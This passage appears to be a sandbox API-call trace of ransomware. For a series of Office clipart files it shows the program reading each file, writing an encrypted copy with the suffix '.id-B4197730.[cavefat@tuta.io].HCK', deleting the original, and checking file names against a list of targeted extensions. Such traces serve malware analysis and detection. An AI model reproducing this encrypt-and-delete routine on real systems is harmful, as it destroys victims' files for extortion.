SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00525_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.341] GetLastError () returned 0x0 [0178.341] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x5880, lpOverlapped=0x0) returned 1 [0178.343] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x5890, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x5890, lpOverlapped=0x0) returned 1 [0178.344] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.344] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.344] SetEndOfFile (hFile=0x3a4) returned 1 [0178.344] CloseHandle (hObject=0x3a4) returned 1 [0178.345] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.345] SetEndOfFile (hFile=0x370) returned 1 [0178.347] CloseHandle (hObject=0x370) returned 1 [0178.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00525_.wmf")) returned 1 [0178.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF") returned 68 [0178.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF") returned 68 [0178.349] lstrlenW (lpString=".doc") returned 4 [0178.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.349] lstrlenW (lpString=".docx") returned 5 [0178.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.349] lstrlenW (lpString=".pdf") returned 4 [0178.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.349] lstrlenW (lpString=".xls") returned 4 [0178.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.349] lstrlenW (lpString=".xlsx") returned 5 [0178.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.350] lstrlenW (lpString=".ppt") returned 4 [0178.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF") returned 68 [0178.350] lstrlenW (lpString=".zip") returned 4 [0178.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.350] lstrlenW (lpString=".rar") returned 4 [0178.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.350] lstrlenW (lpString=".bz2") returned 4 [0178.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.350] lstrlenW (lpString=".7z") returned 3 [0178.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF") returned 68 [0178.350] lstrlenW (lpString=".dbf") returned 4 [0178.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF") returned 68 [0178.350] lstrlenW (lpString=".1cd") returned 4 [0178.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF") returned 68 [0178.350] lstrlenW (lpString=".jpg") returned 4 [0178.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF") returned 68 [0178.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF") returned 68 [0178.350] lstrlenW (lpString=".doc") returned 4 [0178.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.350] lstrlenW (lpString=".docx") returned 5 [0178.350] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.350] lstrlenW (lpString=".pdf") returned 4 [0178.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.350] lstrlenW (lpString=".xls") returned 4 [0178.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.350] lstrlenW (lpString=".xlsx") returned 5 [0178.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.350] lstrlenW (lpString=".ppt") returned 4 [0178.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF") returned 68 [0178.350] lstrlenW (lpString=".zip") returned 4 [0178.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.350] lstrlenW (lpString=".rar") returned 4 [0178.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.350] lstrlenW (lpString=".bz2") returned 4 [0178.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.350] lstrlenW (lpString=".7z") returned 3 [0178.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF") returned 68 [0178.351] lstrlenW (lpString=".dbf") returned 4 [0178.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF") returned 68 [0178.351] lstrlenW (lpString=".1cd") returned 4 [0178.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF") returned 68 [0178.351] lstrlenW (lpString=".jpg") returned 4 [0178.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.351] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.351] lstrlenW (lpString="NA00641_.WMF") returned 12 [0178.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00641_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.354] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1612) returned 1 [0178.354] CloseHandle (hObject=0x2fc) returned 1 [0178.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00641_.wmf")) returned 0x220 [0178.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00641_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00641_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.371] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.371] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00641_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.378] GetLastError () returned 0x0 [0178.378] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x64c, lpOverlapped=0x0) returned 1 [0178.379] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x650, lpOverlapped=0x0) returned 1 [0178.379] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.379] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.379] SetEndOfFile (hFile=0x2fc) returned 1 [0178.381] CloseHandle (hObject=0x2fc) returned 1 [0178.382] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.382] SetEndOfFile (hFile=0x370) returned 1 [0178.385] CloseHandle (hObject=0x370) returned 1 [0178.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00641_.wmf")) returned 1 [0178.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF") returned 68 [0178.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF") returned 68 [0178.392] lstrlenW (lpString=".doc") returned 4 [0178.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.392] lstrlenW (lpString=".docx") returned 5 [0178.392] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.392] lstrlenW (lpString=".pdf") returned 4 [0178.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.392] lstrlenW (lpString=".xls") returned 4 [0178.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.392] lstrlenW (lpString=".xlsx") returned 5 [0178.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.392] lstrlenW (lpString=".ppt") returned 4 [0178.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF") returned 68 [0178.392] lstrlenW (lpString=".zip") returned 4 [0178.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.392] lstrlenW (lpString=".rar") returned 4 [0178.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.392] lstrlenW (lpString=".bz2") returned 4 [0178.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.392] lstrlenW (lpString=".7z") returned 3 [0178.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF") returned 68 [0178.392] lstrlenW (lpString=".dbf") returned 4 [0178.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF") returned 68 [0178.392] lstrlenW (lpString=".1cd") returned 4 [0178.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF") returned 68 [0178.392] lstrlenW (lpString=".jpg") returned 4 [0178.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF") returned 68 [0178.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF") returned 68 [0178.393] lstrlenW (lpString=".doc") returned 4 [0178.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.393] lstrlenW (lpString=".docx") returned 5 [0178.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.393] lstrlenW (lpString=".pdf") returned 4 [0178.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.393] lstrlenW (lpString=".xls") returned 4 [0178.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.393] lstrlenW (lpString=".xlsx") returned 5 [0178.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.393] lstrlenW (lpString=".ppt") returned 4 [0178.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF") returned 68 [0178.393] lstrlenW (lpString=".zip") returned 4 [0178.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.393] lstrlenW (lpString=".rar") returned 4 [0178.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.393] lstrlenW (lpString=".bz2") returned 4 [0178.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.393] lstrlenW (lpString=".7z") returned 3 [0178.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF") returned 68 [0178.393] lstrlenW (lpString=".dbf") returned 4 [0178.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF") returned 68 [0178.393] lstrlenW (lpString=".1cd") returned 4 [0178.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00641_.WMF") returned 68 [0178.393] lstrlenW (lpString=".jpg") returned 4 [0178.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.393] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.393] lstrlenW (lpString="NA00808_.WMF") returned 12 [0178.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.397] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1300) returned 1 [0178.397] CloseHandle (hObject=0x3a4) returned 1 [0178.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00808_.wmf")) returned 0x220 [0178.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00808_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.401] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.401] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00808_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.482] GetLastError () returned 0x0 [0178.483] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x514, lpOverlapped=0x0) returned 1 [0178.485] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x520, lpOverlapped=0x0) returned 1 [0178.487] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.487] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.487] SetEndOfFile (hFile=0x2fc) returned 1 [0178.488] CloseHandle (hObject=0x2fc) returned 1 [0178.489] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.489] SetEndOfFile (hFile=0x300) returned 1 [0178.490] CloseHandle (hObject=0x300) returned 1 [0178.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00808_.wmf")) returned 1 [0178.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF") returned 68 [0178.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF") returned 68 [0178.494] lstrlenW (lpString=".doc") returned 4 [0178.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.494] lstrlenW (lpString=".docx") returned 5 [0178.494] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.494] lstrlenW (lpString=".pdf") returned 4 [0178.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.494] lstrlenW (lpString=".xls") returned 4 [0178.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.494] lstrlenW (lpString=".xlsx") returned 5 [0178.494] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.494] lstrlenW (lpString=".ppt") returned 4 [0178.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF") returned 68 [0178.494] lstrlenW (lpString=".zip") returned 4 [0178.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.494] lstrlenW (lpString=".rar") returned 4 [0178.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.494] lstrlenW (lpString=".bz2") returned 4 [0178.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.494] lstrlenW (lpString=".7z") returned 3 [0178.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF") returned 68 [0178.494] lstrlenW (lpString=".dbf") returned 4 [0178.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF") returned 68 [0178.494] lstrlenW (lpString=".1cd") returned 4 [0178.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF") returned 68 [0178.494] lstrlenW (lpString=".jpg") returned 4 [0178.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF") returned 68 [0178.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF") returned 68 [0178.494] lstrlenW (lpString=".doc") returned 4 [0178.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.494] lstrlenW (lpString=".docx") returned 5 [0178.494] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.494] lstrlenW (lpString=".pdf") returned 4 [0178.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.494] lstrlenW (lpString=".xls") returned 4 [0178.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.494] lstrlenW (lpString=".xlsx") returned 5 [0178.494] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.495] lstrlenW (lpString=".ppt") returned 4 [0178.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF") returned 68 [0178.495] lstrlenW (lpString=".zip") returned 4 [0178.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.495] lstrlenW (lpString=".rar") returned 4 [0178.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.495] lstrlenW (lpString=".bz2") returned 4 [0178.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.495] lstrlenW (lpString=".7z") returned 3 [0178.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF") returned 68 [0178.495] lstrlenW (lpString=".dbf") returned 4 [0178.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF") returned 68 [0178.495] lstrlenW (lpString=".1cd") returned 4 [0178.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00808_.WMF") returned 68 [0178.495] lstrlenW (lpString=".jpg") returned 4 [0178.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.495] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.495] lstrlenW (lpString="NA01064_.WMF") returned 12 [0178.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01064_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.500] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=31814) returned 1 [0178.500] CloseHandle (hObject=0x368) returned 1 [0178.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01064_.wmf")) returned 0x220 [0178.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01064_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01064_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.503] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.503] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01064_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 